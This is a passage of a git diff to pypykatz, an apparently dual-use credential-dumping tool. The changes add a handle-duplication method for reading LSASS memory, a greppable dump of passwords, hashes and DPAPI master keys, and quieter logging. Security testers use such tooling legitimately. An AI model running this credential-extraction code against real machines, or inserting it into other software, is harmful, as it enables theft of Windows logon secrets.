-					print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
-    
-			logging.debug('Custom search yielded %d results!' % ctr)
+		raise Exception('Coming soon...')
 		
\ No newline at end of file
diff --git a/pypykatz/lsadecryptor/cmdhelper.py b/pypykatz/lsadecryptor/cmdhelper.py
index a423a02..aad05df 100644
--- a/pypykatz/lsadecryptor/cmdhelper.py
+++ b/pypykatz/lsadecryptor/cmdhelper.py
@@ -29,6 +29,7 @@ class LSACMDHelper:
 		live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
 		live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
 		live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
+		live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'Print credentials in greppable format')
 		
 		group = parser.add_parser('lsa', help='Get secrets from memory dump')
 		group.add_argument('cmd', choices=['minidump','rekall'])
@@ -144,7 +145,12 @@ class LSACMDHelper:
 		if args.module == 'lsa':
 			filename = 'live'
 			try:
-				mimi = pypykatz.go_live()
+				if args.method == 'procopen':
+					mimi = pypykatz.go_live()
+				elif args.method == 'handledup':
+					mimi = pypykatz.go_handledup()
+					if mimi is None:
+						raise Exception('HANDLEDUP failed to bring any results!')
 				results['live'] = mimi
 			except Exception as e:
 				files_with_error.append(filename)
diff --git a/pypykatz/lsadecryptor/lsa_decryptor_nt5.py b/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
index e6c6d6d..7780408 100644
--- a/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
+++ b/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
@@ -92,7 +92,7 @@ class LsaDecryptor_NT5(PackageDecryptor):
 		self.log('Looking for main struct signature in memory...')
 		fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
 		if len(fl) == 0:
-			logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
+			logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
 			raise Exception('LSA signature not found!')
 			
 		self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
diff --git a/pypykatz/lsadecryptor/lsa_decryptor_nt6.py b/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
index 90cc488..5213fb7 100644
--- a/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
+++ b/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
@@ -43,7 +43,7 @@ class LsaDecryptor_NT6(PackageDecryptor):
 		self.log('Looking for main struct signature in memory...')
 		fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
 		if len(fl) == 0:
-			logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
+			logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
 			raise Exception('LSA signature not found!')
 			
 		self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
diff --git a/pypykatz/lsadecryptor/packages/msv/decryptor.py b/pypykatz/lsadecryptor/packages/msv/decryptor.py
index 2a200c1..d1e6124 100644
--- a/pypykatz/lsadecryptor/packages/msv/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/msv/decryptor.py
@@ -373,3 +373,25 @@ class MsvDecryptor(PackageDecryptor):
 				continue
 			
 			self.walk_list(entry_ptr, self.add_entry)
+
+		#self.brute_test()
+	
+	#def brute_test(self):
+	#	from pypykatz.commons.win_datatypes import LUID
+	#	luid_int = 1138792
+	#	luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False)
+	#	needle_luid = LUID(io.BytesIO(luid_bytes)).value
+	#	offset = 0x70
+	#
+	#	for luid_pos in self.reader.find_all_global(luid_bytes):
+	#		self.reader.move(luid_pos - offset)
+	#		et = self.decryptor_template.list_entry(self.reader).finaltype
+	#		self.reader.move(luid_pos - offset)
+	#		test_ptr = et(self.reader)
+	#		if test_ptr.LocallyUniqueIdentifier == needle_luid:
+	#			print('HIT!')
+	#			entry_ptr = self.decryptor_template.list_entry(self.reader)
+	#			try:
+	#				self.walk_list(test_ptr.Flink, self.add_entry)
+	#			except Exception as e:
+	#				print('ERR! %s' % e)
\ No newline at end of file
diff --git a/pypykatz/pypykatz.py b/pypykatz/pypykatz.py
index 4f94858..3894a25 100644
--- a/pypykatz/pypykatz.py
+++ b/pypykatz/pypykatz.py
@@ -14,6 +14,7 @@ from pypykatz.lsadecryptor import CredmanTemplate, MsvTemplate, \
 	TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
 	DpapiTemplate, DpapiDecryptor, LsaDecryptor
 
+from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
 from pypykatz import logger
 from pypykatz.commons.common import UniversalEncoder
 from minidump.minidumpfile import MinidumpFile
@@ -46,8 +47,38 @@ class pypykatz:
 		return t
 		
 	def to_json(self):
-		return json.dumps(self.to_dict(), cls = UniversalEncoder)
+		return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
+
+	def to_grep(self):
+		res = ':'.join(LogonSession.grep_header) + '\r\n'
+		for luid in self.logon_sessions:
+			for row in self.logon_sessions[luid].to_grep_rows():
+				res += ':'.join(row) + '\r\n'
+				for cred in self.orphaned_creds:
+					t = cred.to_dict()
+					if t['credtype'] != 'dpapi':
+						if t['password'] is not None:
+							x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
+							res += ':'.join(x) + '\r\n'
+					else:
+						t = cred.to_dict()
+						x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
+						res += ':'.join(x) + '\r\n'
+
+		return res
+
+	def __str__(self):
+		res = '== Logon credentials ==\r\n'
+		for luid in self.logon_sessions:
+			res += str(self.logon_sessions[luid]) + '\r\n'
+			
+		if len(self.orphaned_creds) > 0:
+			res += '== Orphaned credentials ==\r\n'
+			for cred in self.orphaned_creds:
+				res += str(cred) + '\r\n'
 		
+		return res
+
 	@staticmethod
 	def go_live():
 		if platform.system() != 'Windows':
@@ -58,6 +89,31 @@ class pypykatz:
 		mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
 		mimi.start()
 		return mimi
+	
+	@staticmethod
+	def go_handledup():
+		if platform.system() != 'Windows':
+			raise Exception('Live parsing will only work on Windows')
+		from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles
+		lsass_handles = enum_lsass_handles()
+		if len(lsass_handles) == 0:
+			raise Exception('No handles found to LSASS!')
+		for pid, lsass_handle in lsass_handles:
+			try:
+				return pypykatz.go_live_phandle(lsass_handle)
+			except Exception as e:
+				print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
+			
+	@staticmethod
+	def go_live_phandle(lsass_process_handle):
+		if platform.system() != 'Windows':
+			raise Exception('Live parsing will only work on Windows')
+		from pypykatz.commons.readers.local.live_reader import LiveReader
+		reader = LiveReader(lsass_process_handle=lsass_process_handle)
+		sysinfo = KatzSystemInfo.from_live_reader(reader)
+		mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
+		mimi.start()
+		return mimi
 		
 	@staticmethod
 	def parse_minidump_file(filename):
@@ -170,7 +226,7 @@ class pypykatz:
 
 	def get_lsa_bruteforce(self):
 		#good luck!
-		logger.info('Testing all available templates! Expect warnings!')
+		logger.debug('Testing all available templates! Expect warnings!')
 		for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
 			try:
 				lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
@@ -178,7 +234,7 @@ class pypykatz:
 			except:
 				pass
 			else:
-				logger.info('Lucky you! Brutefoce method found a -probably- working template!')
+				logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
 				return lsa_dec
 	
 	def get_lsa(self):
@@ -187,8 +243,8 @@ class pypykatz:
 			lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
 			lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
 			logger.debug(lsa_dec.dump())
-		except:
-			logger.exception('Failed to automatically detect correct LSA template!')
+		except Exception as e:
+			logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
 			lsa_dec = self.get_lsa_bruteforce()
 			if lsa_dec is None:
 				raise Exception('All detection methods failed.')
diff --git a/pypykatz/registry/sam/common.py b/pypykatz/registry/sam/common.py
index 4cdfe7b..a26432a 100644
--- a/pypykatz/registry/sam/common.py
+++ b/pypykatz/registry/sam/common.py
@@ -3,6 +3,7 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
+import json
 
 class SAMSecret:
 	def __init__(self, username, rid, nt_hash, lm_hash):
diff --git a/pypykatz/registry/sam/structures.py b/pypykatz/registry/sam/structures.py
index f8f67cb..9d989af 100644
--- a/pypykatz/registry/sam/structures.py
+++ b/pypykatz/registry/sam/structures.py
@@ -197,7 +197,6 @@ class USER_ACCOUNT_V:
 		self.homedir_connect = None
 		self.script_path = None
 		self.profile_path = None
-		self.profile_path = None
 		self.workstations = None
 		self.hoursallowed = None
 		self.LM_hash = None
@@ -375,4 +374,4 @@ class SAM_HASH_AES:
 					t += '   %s: %s: %s' % (k, i, str(item))
 			else:
 				t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
-		return t
\ No newline at end of file
+		return t
diff --git a/setup.py b/setup.py
index 0633575..8a6aad7 100644
--- a/setup.py
+++ b/setup.py
@@ -1,5 +1,6 @@
 from setuptools import setup, find_packages
 import re
+import platform
 
 VERSIONFILE="pypykatz/_version.py"
 verstrline = open(VERSIONFILE, "rt").read()
@@ -10,6 +11,12 @@ if mo:
 else:
     raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
 
+ep = {
+	'console_scripts': [
+			'pypykatz = pypykatz.__main__:main',
+		],
+	}
+
 setup(
 	# Application name:
 	name="pypykatz",
@@ -19,7 +26,7 @@ setup(
 
 	# Application author details:
 	author="Tamas Jos",
-	author_email="skelsecprojects@gmail.com",
+	author_email="info@skelsecprojects.com",
 
 	# Packages
 	packages=find_packages(),
@@ -44,16 +51,17 @@ setup(
 		"Operating System :: OS Independent",
 	),
 	install_requires=[
-		'minidump>=0.0.12',
-		'minikerberos>=0.2.0',
+		'minidump>=0.0.13',
+		'minikerberos>=0.2.5',
 		'aiowinreg>=0.0.3',
-		'msldap>=0.2.7',
-		'winsspi>=0.0.3'
+		'msldap>=0.3.20',
+		'winsspi>=0.0.9',
 	],
 	
-	entry_points={
-		'console_scripts': [
-			'pypykatz = pypykatz.__main__:main',
-		],
-	}
+	# No more conveinent .exe entry point thanks to some idiot who 
+	# used the code without modification in a state-backed trojan.
+	# Thank you for runing it for everyone.
+	# 
+	# 
+	entry_points=ep if platform.system().lower() != 'windows' else {}
 )